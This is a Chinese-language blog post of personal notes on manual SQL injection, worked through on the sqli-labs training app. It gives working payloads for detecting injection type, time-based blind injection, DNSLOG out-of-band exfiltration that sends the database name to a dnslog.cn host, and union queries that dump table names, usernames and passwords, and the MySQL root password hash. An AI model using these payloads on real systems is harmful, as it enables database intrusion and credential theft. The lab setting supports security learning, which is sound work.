sql注入(手注)

之前也写过,不过笔记弄丢了,重写,以后有空改改格式吧

是否有回显,没回显用

and sleep(5)延迟盲注判断算法存在注入
如果目标数据库是wiondows,还可以通过DNSLOG完成盲注,
利用mysql的load_file和concat构造sql,当数据库执行这条sql的时候,DNSlog平台会打印出敏感数据(database()会打印出数据库信息)

' and if((select load_file(concat('\\\\',(select database()),'.wjdrzj.dnslog.cn\\aaa'))),1,1)--+

 

有回显

以sql-labs第一关为例

1.判断是否存在注入点,判断其是数字型,还是字符型,还是字符串型
预期【and 1=1】 返回和没加上没有变化,【and 1=2】返回数据为空,也就是查不到数据
【and 1=1】 【and 1=2】都符合预期,数字型注入
由于limit会干扰结果,所以可能出现(sql-labs第一关)
【and 1=1】符合预期,【and 1=2】不符合预期,可以加单引号进一步确认
【and 1=1】不符合预期:字符型注入
http://www.hackstar.top:8065/Less-1/?id=1’and 1=2 --+无结果,字符型注入,有结果,可以双引号判断一下是不是字符串型注入
http://www.hackstar.top:8065/Less-1/?id=1 and 1=2 --+ 无结果,数字型注入


https://www.freesion.com/article/37631242611/
也有这种情况
【“】:若报错,则看报错,可能是双引号型
【‘】:若报错,则看报错,可能是字符型
也有什么都不返回的(无回显),这个时候可以考虑延迟注入
具体的字段等一个个猜解太麻烦了,所以一般无回显的我会直接用工具
http://www.hackstar.top:8065/Less-9/ ?id=1' and sleep(5) --+
如果是mysql安装在windows系统,可以尝试利用DNSLOG来进行盲注,当构造的恶意sql在数据库执行时,他会去远程请求DNSLOG,
并将一些构造在sql中的比如数据库名等一些敏感信息带到DNSLOG,这样就可以暴库了
为什么需要windows。
load_file函数在Linux下是无法用来做dnslog攻击的,具体原因和UNC路径有关,读取远程文件就要用到UNC路径。
' and if((select load_file(concat('\\\\',(select database()),'.3sacyd.dnslog.cn\\aaa'))),1,1)--+
2.判断字符长度
在链接后面添加语句【 order by 11 (数字任意,大了报错,小了不会报错)】(order by可以用group by 替代,用法相同),根据页面返回结果,来判断站点中的字段数目。
http://www.hackstar.top:8065/Less-1/?id=1' order by 3 --+不出错
http://www.hackstar.top:8065/Less-1/?id=1' order by 4 --+出错
所以就是从数据库查了三个字段
3.判断回显字段的位置union
(让数据库查没有的数据and 1=2或者id=-1,直接输出union的数据)
http://www.hackstar.top:8065/Less-1/?id=1' and 1=2 union select 1,2,3 --+
显示
SELECT * FROM users WHERE id= '1' and 1=2 union select 1,2,3 -- ' LIMIT 0,1
Your Login name:2
Your Password:3
可知前端显示的Your Login name为第二个字段,Your Password为第三个字段,第一个字段不回显
4.暴当前表所在的数据库,暴数据库版本
?id=1' and 1=2 union select 1,database(),version()--+
5.查找security数据库下的所有表
?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
6.查找users表下的所有列
?id=-1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
7.查找users表username和password的具体数值
?id=1' and 1=2 union select 1,group_concat(username,password),3 from users--+

 当然了,还可以利用这个查root密码(加密过的)

 http://www.hackstar.top:8065/Less-1/?id=-1' union select 1,user,authentication_string from mysql.user where User="root"--+

参考链接:https://blog.csdn.net/w1875334525/article/details/123117622

为什么要用load_file函数呢?因为load_file函数可以解析dns请求。

 参考链接:https://blog.csdn.net/weixin_45951067/article/details/121121730

posted @ 2022-07-08 23:45  lzstar-A2  阅读(161)  评论(0编辑  收藏  举报